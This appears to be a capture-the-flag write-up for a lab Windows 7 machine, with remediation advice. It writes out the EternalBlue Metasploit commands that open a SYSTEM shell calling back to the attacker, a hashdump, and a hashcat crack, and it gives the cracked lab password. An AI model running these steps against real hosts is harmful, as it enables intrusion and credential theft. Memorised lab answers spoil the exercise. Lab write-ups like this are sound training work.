Blue

Windows Easy EternalBlue ● Completed

TL;DR Unpatched Windows 7 vulnerable to MS17-010 (EternalBlue). Exploit over SMB for a SYSTEM shell, then dump and crack a local account's NTLM hash.

01Recon

nmap -sC -sV -oN nmap/blue 10.10.X.X
# 135 msrpc, 139/445 SMB, 3389 RDP — Windows 7 Pro
# SMB vuln scan:
nmap -p445 --script smb-vuln-ms17-010 10.10.X.X   # VULNERABLE: MS17-010

02Exploitation — EternalBlue

msfconsole -q
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS 10.10.X.X
set LHOST tun0
run
# -> shell as NT AUTHORITY\SYSTEM

Backgrounded the shell and upgraded to a full meterpreter, then migrated into a stable x64 process so the session survived.

03Post-exploitation — dump & crack

meterpreter > hashdump
# Administrator:500:...   Jon:1000:aad3b...:ffb43f0de35be4d9917ac0cc8ad57f8d:::
# crack the non-default user (Jon):
hashcat -m 1000 jon.hash /usr/share/wordlists/rockyou.txt   # -> alqfna22

flags (×3)THM{…} — root of C:\, SAM/config, and Jon's Documents

04Takeaways

Patch management is the whole lesson — MS17-010 was fixed in 2017; unpatched SMB is instant SYSTEM.
Disable SMBv1 and segment/firewall 445 off untrusted networks.
Local NTLM hashes crack fast against rockyou when passwords are weak — enforce length + block reuse.

◆If this were my environment

This was a direct consequence of an unsupported, unpatched operating system exposing SMBv1. I would remove the legacy protocol and make missing critical updates a deployment-blocking condition.

Priority controls

Retire Windows 7, apply MS17-010 everywhere it still exists during migration, and verify remediation with authenticated scanning.
Disable SMBv1, require modern SMB dialects and signing, and allow TCP/445 only between systems with a documented need.
Use Windows LAPS and long unique local passwords so a dumped local hash cannot be reused across the fleet.
Track CISA KEV and vendor advisories in a risk-based patch process with deadlines, ownership and exception review.

Hardening guides and benchmarks

These references offer different implementation paths: consensus benchmarks, prescriptive government checklists, vendor baselines and application-security verification requirements. I would select the profile that matches the system's role, document exceptions, test it in staging and continuously measure drift.

Microsoft MS17-010 security bulletin Official remediation details for the SMBv1 flaws used by EternalBlue. Microsoft SMB security hardening Signing, encryption, guest access, dialect controls and defenses against credential relay. Microsoft Windows LAPS Automatic rotation and protected storage of unique local administrator passwords. Microsoft Windows security baselines Microsoft-recommended Group Policy and MDM settings for Windows clients and servers. CIS CIS Benchmarks Consensus configuration baselines for operating systems, servers, containers and applications. DISA STIG Document Library DoD hardening checklists for Windows, Linux, Active Directory, IIS, databases and application servers. CIS CIS Critical Security Controls v8 A prioritized control program for inventory, access, vulnerability management, logging and recovery.

Operational note CIS and DISA profiles can affect compatibility. Apply them through version-controlled policy, start in audit mode where supported, test business workloads and record every exception with an owner and review date.

back to writeups